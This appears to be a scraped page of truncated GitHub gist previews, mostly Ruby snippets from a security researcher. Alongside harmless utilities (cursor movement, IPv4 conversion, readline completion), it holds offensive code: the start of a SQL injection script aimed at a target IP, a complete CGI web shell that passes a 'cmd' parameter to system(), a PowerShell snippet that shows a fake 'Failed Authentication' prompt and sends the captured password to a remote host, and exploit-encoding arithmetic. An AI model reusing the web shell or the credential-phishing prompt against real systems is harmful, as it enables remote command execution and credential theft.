This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class String | |
| def mv_up(n=1) | |
| cursor(self, "\033[#{n}A") | |
| end | |
| def mv_down(n=1) | |
| cursor(self, "\033[#{n}B") | |
| end | |
| def mv_fw(n=1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| # | |
| # KING SABRI | |
| # Hisoka SQLi - For Ibrahim | |
| # | |
| require 'open-uri' | |
| require 'uri' | |
| if ARGV.size < 2 | |
| puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require "net/http" | |
| # Login | |
| uri = URI.parse("http://xx.xx.xx/Login.aspx") | |
| http = Net::HTTP.new(uri.host, uri.port) | |
| http.set_debug_output($stdout) | |
| request_login = Net::HTTP::Post.new(uri.request_uri) | |
| request_login["Accept-Language"] = "en-US,en;q=0.5" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4 | |
| # 0x1035E8EA | |
| # 0x55554d66 - | |
| # 0x55554b66 - | |
| # 0x5555506a - | |
| # ------------ | |
| # 0x1035FFB4 | |
| CHARS = | |
| [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env ruby | |
| # echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80 | |
| require 'cgi' | |
| cgi = CGI.new | |
| puts cgi.header | |
| system(cgi['cmd']) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
| $wc = new-object net.webclient; | |
| $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
| $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
| $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
| $result = $wc.downloadstring('https://172.16.102.163'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| class CircularList < Array | |
| def index | |
| @index ||=0 | |
| @index.abs | |
| end | |
| def current | |
| @index ||= 0 | |
| get_at(@index) | |
| end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # How to convert IPv4 addresses between integer <=> dot-decimal notation | |
| INTEGER = 1698212032 | |
| DOT_DECIMAL = '192.168.56.101' | |
| # [ 192, 168, 56, 101 ] | |
| DOT_DECIMAL_PARTS = DOT_DECIMAL.split('.').map(&:to_i) | |
| #################################### | |
| # integer to dot-decimal |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'readline' | |
| MAIN = ['help', 'show', 'set' , 'exit'].sort | |
| SHOW = ['exploits', 'payloads', 'wiki'].sort | |
| USE = ['exploit' , 'encoder'].sort | |
| SET = ['payload', 'RHOST'].sort | |
| comp = proc do |s| | |
| if Readline.line_buffer =~ /help.* / |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module Xss | |
| module Ui | |
| module Console | |
| module Prints | |
| module Color | |
| # | |
| # Colorize String class extension. |